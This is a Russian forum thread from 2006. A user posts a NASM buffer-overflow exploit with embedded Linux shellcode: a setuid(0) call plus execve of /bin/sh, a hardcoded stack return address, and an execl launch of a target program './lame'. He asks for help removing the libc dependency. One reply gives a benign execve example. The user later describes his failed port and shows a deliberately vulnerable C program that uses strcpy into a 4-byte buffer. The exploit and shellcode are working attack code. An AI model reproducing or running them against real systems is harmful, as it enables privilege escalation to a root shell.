Помогите перевести этот код.

Тема в разделе "WASM.UNIX", создана пользователем worrm, 10 май 2006.

  1. worrm

    worrm New Member

    Публикаций:
    0
    Регистрация:
    28 дек 2005
    Сообщения:
    5
    есть код не большего експлоита,компилирую через GCC

    работает нормально,кто знает как мне перевести

    этот код, чтобы компилировать чистым NASM(без библиотек(без GCC)

    то есть:

    nasm -f elf -o CODE.ASM

    ld CODE.O -o CODE

    Кто знает,прошу помочь мне.


    Код (Text):
    1. extern execl
    2.  
    3. section .bss
    4.         A:      RESB   4
    5.  
    6. section .data
    7.         SYS:    dd      0xbffff834
    8.         LC0:    db      './lame',0
    9.  
    10. shellcode:  
    11.     db     031h,0c0h,031h,0dbh,0b0h,017h
    12.     db     0cdh,080h,031h,0c0h,050h,068h
    13.     db     02fh,02fh,073h,068h,068h,02fh
    14.     db     062h,069h,06eh,089h,0e3h,050h
    15.     db     053h,089h,0e1h,099h,0b0h,00bh
    16.     db     0cdh,080h
    17. buf:
    18.     db  0x31,0xc0,0x31,0xdb,0xb0,0x17
    19.     db  0xcd,0x80,0x31,0xc0,0x50,0x68
    20.     db  0x2f,0x2f,0x73,0x68,0x68,0x2f
    21.     db  0x62,0x69,0x6e,0x89,0xe3,0x50
    22.     db  0x53,0x89,0xe1,0x99,0xb0,0x0b
    23.     db  0x31,0xc0,0x31,0xdb,0xb0,0x17
    24.     db  0xcd,0x80,0x31,0xc0,0x50,0x68
    25.     db  0x2f,0x2f,0x73,0x68,0x68,0x2f
    26.     db  0x62,0x69,0x6e,0x89,0xe3,0x50
    27.     db  0x53,0x89,0xe1,0x99,0xb0,0x0b
    28.     db  0x31,0xc0,0x31,0xdb
    29.  
    30. section .text
    31.  
    32. global main
    33. main:
    34.         mov     dword [A],0
    35. L2:
    36.         cmp     dword [A],3
    37.         jle L5
    38.         jmp L3
    39. L5:
    40.         mov     edx, [A]
    41.         add     edx, buf+64
    42.         mov     eax, [A]
    43.         lea     ecx, [eax*8+0]
    44.         mov     eax, [SYS]
    45.         sar     eax,cl
    46.         mov     [edx],al
    47.         inc     dword [A]
    48.         jmp L2
    49. L3:
    50.         push    dword 0
    51.         push    dword shellcode
    52.         push    dword buf
    53.         push    dword LC0
    54.         push    dword LC0
    55.         call    execl
    56.         ret
     
  2. r90

    r90 New Member

    Публикаций:
    0
    Регистрация:
    26 ноя 2005
    Сообщения:
    898
    переводить за тебя уж не буду, но вот примерчик вызова execve.

    компилять:

    as -o exec.o exec.s

    ld -s -o exec exec.o

    синтаксис at&t, но это, наверное, не страшно:
    Код (Text):
    1.         .text
    2.         .globl  _start
    3. _start:
    4. # соберём массив `char *env[]'
    5.         movl    (%esp), %eax
    6.         movl    8(%esp, %eax, 4), %edi #адрес ascizz вектора перем окружения в %edi
    7.         xorl    %eax, %eax
    8.  
    9.         pushl   %eax    # terminating null
    10.  
    11.         pushl   %edi
    12.         xorl    %ecx, %ecx
    13.         decl    %ecx
    14. make_array:
    15.         repne
    16.         scasb
    17.        
    18.         pushl   %edi
    19.         scasb
    20.         jnz     make_array
    21.  
    22.         popl    %edi    # это значение мы явно зря в стек засунули
    23.        
    24.         movl    $11, %eax       # 11 = execve
    25.         movl    $name, %ebx
    26.         movl    $args, %ecx
    27.         movl    %esp, %edx
    28.         int     $0x80           # do it
    29. # а это на всякий случай, вдруг execve обломается.
    30.         xorl    %eax, %eax
    31.         movl    %eax, %ebx
    32.         incl    %eax
    33.         int     $0x80
    34.  
    35.         .data
    36. name:
    37.         .asciz  "./test.sh"
    38. arg1:
    39.         .asciz "arg1"
    40. arg2:  
    41.         .asciz "arg2"
    42. args:
    43.         .long   arg1
    44.         .long   arg2
    45.         .long   0
     
  3. Quantum

    Quantum Паладин дзена

    Публикаций:
    0
    Регистрация:
    6 янв 2003
    Сообщения:
    3.143
    Адрес:
    Ukraine
    worrm



    Так синтаксис же насмовый! В чём проблема взять и скопилировать насмом?
     
  4. worrm

    worrm New Member

    Публикаций:
    0
    Регистрация:
    28 дек 2005
    Сообщения:
    5
    r90



    Я пробовал заменять библиотечную функцию - execl

    на # 11 = execve. Но експлоит не заработал!!!

    заменял так:



    mov eax,11

    mov ebx,LC0

    push 0

    push shellcode

    push buf

    push LC0

    mov ecx, esp

    int 0x80



    mov eax,1

    mov ebx,0

    int 0x80



    ------------------------------------



    все компилиться нормально, но експлоит не пашет!

    если убираю из эксплоита вот этот код:

    L5:

    mov edx, [A]

    add edx, buf+64

    mov eax, [A]

    lea ecx, [eax*8+0]

    mov eax, [SYS]

    sar eax,cl

    mov [edx],al

    inc dword [A]

    jmp L2



    то,sys_execve срабатывает(вызывает и переполняет подопытную программу ./lame)Если ставлю код назад,то программа(./lame) никак не реагирует...
     
  5. worrm

    worrm New Member

    Публикаций:
    0
    Регистрация:
    28 дек 2005
    Сообщения:
    5
    Вижу никто мне не может помочь, у меня еще появился

    вопрос.



    Как реализовать переполнение буфера в программе на си?

    А сам exploit написать полностью на asm под Linux(GAS,NASM).

    Если можно пример.

    Есть ли в интернете эксплоиты написанные на асм(gas,nasm)для Linux(UNIX)?

    за раннее спасибо.



    код переполняемой программы:



    --------------------------------------------------

    main (int argc, char *argv[])

    {

    char little_buffer[4]; // сделаем буфер на 4 байта

    strcpy(little_buffer,argv[1]);

    }